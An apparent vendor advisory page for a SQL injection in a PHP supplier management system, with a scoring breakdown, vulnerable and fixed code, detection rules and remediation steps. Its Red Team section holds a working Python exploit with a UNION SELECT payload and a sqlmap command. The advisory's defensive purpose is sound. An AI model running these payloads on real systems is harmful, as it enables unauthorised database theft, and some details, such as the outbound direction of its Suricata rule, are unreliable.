CVE-2025-15207
Executive Summary
CVE-2025-15207 is a critical SQL injection vulnerability in Campcodes Supplier Management System 1.0. The flaw resides in the /admin/view_products.php endpoint, where the chkId[] parameter is directly concatenated into SQL queries without sanitization. An unauthenticated attacker can exploit this remotely to extract sensitive data, modify database contents, or potentially achieve code execution via stacked queries. The vulnerability has been publicly disclosed with proof-of-concept code, increasing the risk of widespread exploitation. No official patch exists, and the vendor has not responded to disclosure attempts.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This is a standalone PHP application, not an NPM, PyPI, Go, or Ruby package. No supply chain implications apply.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – Vulnerability does not affect other components.
- Confidentiality (C): High (H) – Full database read access.
- Integrity (I): Low (L) – Limited data modification possible.
- Availability (A): Low (L) – Potential for denial of service via resource exhaustion.
Threat Level: High. The combination of remote exploitability, no authentication, and public exploit code makes this a priority for remediation.
Deep Dive & Mechanics
The vulnerability is a classic SQL injection in the chkId[] parameter of /admin/view_products.php. The application likely constructs a query similar to:
SELECT * FROM products WHERE id IN ($_POST['chkId'])
Without proper parameterization or escaping, an attacker can inject arbitrary SQL. The chkId[] parameter is an array, but the application may implode it into a comma-separated string, allowing injection via a single element.
Root Cause: Lack of prepared statements or input validation. The application uses mysqli_query or similar with direct string concatenation.
Attack Vector: HTTP POST request to /admin/view_products.php with a crafted chkId[] parameter.
Impact: Full database compromise, including user credentials, product data, and administrative access.
Vulnerable vs. Patched Code
Vulnerable Code (hypothetical reconstruction):
<?php
// /admin/view_products.php
$ids = $_POST['chkId'];
$id_list = implode(",", $ids);
$query = "SELECT * FROM products WHERE id IN ($id_list)";
$result = mysqli_query($conn, $query);
?>
Patched Code (recommended):
<?php
// /admin/view_products.php
$ids = $_POST['chkId'];
$placeholders = implode(",", array_fill(0, count($ids), "?"));
$query = "SELECT * FROM products WHERE id IN ($placeholders)";
$stmt = mysqli_prepare($conn, $query);
$types = str_repeat("i", count($ids));
mysqli_stmt_bind_param($stmt, $types, ...$ids);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);
?>
Exploitation & Lab Setup
Red Team
Prerequisites: Python 3, requests library, target URL.
Exploit Script:
#!/usr/bin/env python3
import requests
import sys
target = sys.argv[1] if len(sys.argv) > 1 else "http://localhost/supplier_management"
payload = "1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20-- -"
data = {"chkId[]": payload}
try:
r = requests.post(f"{target}/admin/view_products.php", data=data, timeout=10)
if "error" not in r.text.lower():
print("[+] SQL injection successful. Response snippet:")
print(r.text[:500])
else:
print("[-] Injection failed or blocked.")
except Exception as e:
print(f"[-] Error: {e}")
Usage: python3 exploit.py http://target.com/supplier_management
Advanced Exploitation: Use sqlmap for automated database enumeration:
sqlmap -u "http://target.com/admin/view_products.php" --data="chkId[]=1" --batch --dbs
Blue Team
Detection: Monitor for anomalous POST requests to /admin/view_products.php with unusual chkId[] values (e.g., containing SQL keywords, UNION, SELECT, etc.).
Honeypot: Deploy a fake endpoint that logs all POST data to a secure syslog server.
Lab Setup:
- Download Campcodes Supplier Management System 1.0 from official source.
- Install on a local LAMP stack (PHP 7.4, MySQL 5.7).
- Configure database and import sample data.
- Test exploit against the vulnerable instance.
Indicators of Compromise (IOCs)
- Network: HTTP POST requests to
/admin/view_products.phpwithchkId[]containing SQL keywords (UNION, SELECT, OR, AND, --, #). - Logs: Database error logs showing syntax errors near
chkIdvalues. - File: Unexpected files in web root (e.g., shells, backdoors) if stacked queries enabled.
- Database: New users, modified admin credentials, or unusual data in
userstable.
Example Suricata Rule (see Detection Engineering):
Detection Engineering
YARA Rule
rule CVE_2025_15207_SQLi_Attempt {
meta:
description = "Detects SQL injection attempts targeting CVE-2025-15207"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-15207"
strings:
$s1 = "chkId[]" nocase
$s2 = "UNION" nocase
$s3 = "SELECT" nocase
$s4 = "OR 1=1" nocase
$s5 = "admin/view_products.php" nocase
condition:
all of ($s1, $s5) and 1 of ($s2, $s3, $s4)
}
Sigma Rule
title: CVE-2025-15207 SQL Injection Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection attempts against Campcodes Supplier Management System
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: '/admin/view_products.php'
cs-uri-query|contains: 'chkId[]'
keywords:
- 'UNION'
- 'SELECT'
- 'OR 1=1'
- '--'
- '#'
condition: selection and keywords
falsepositives:
- Legitimate use of product IDs containing SQL keywords (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-15207 SQL Injection Attempt";
flow:to_server,established;
content:"POST"; http_method;
content:"/admin/view_products.php"; http_uri;
content:"chkId[]"; http_client_body;
pcre:"/(UNION|SELECT|OR\s+1=1|--|#)/Pi";
sid:10000001;
rev:1;
reference:url,nvd.nist.gov/vuln/detail/CVE-2025-15207;
classtype:web-application-attack;
priority:1;
)
Remediation & Mitigation
Immediate Actions:
- Isolate the affected system from the internet if possible.
- Apply virtual patching via WAF rules to block SQL injection patterns in
chkId[]. - Disable the
/admin/view_products.phpendpoint if not essential.
Long-term Fix:
- Replace all SQL queries with prepared statements or parameterized queries.
- Implement input validation: ensure
chkId[]values are integers only. - Upgrade to a supported vendor solution or migrate to a secure alternative.
Detection:
- Deploy the provided YARA, Sigma, and Suricata rules.
- Enable detailed logging for all POST requests to admin endpoints.
- Monitor for database anomalies (e.g., unexpected queries, new users).
No official patch is available. The vendor (Campcodes) has not responded. Consider replacing the software entirely.
Valters IT – Securing Digital Frontiers
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.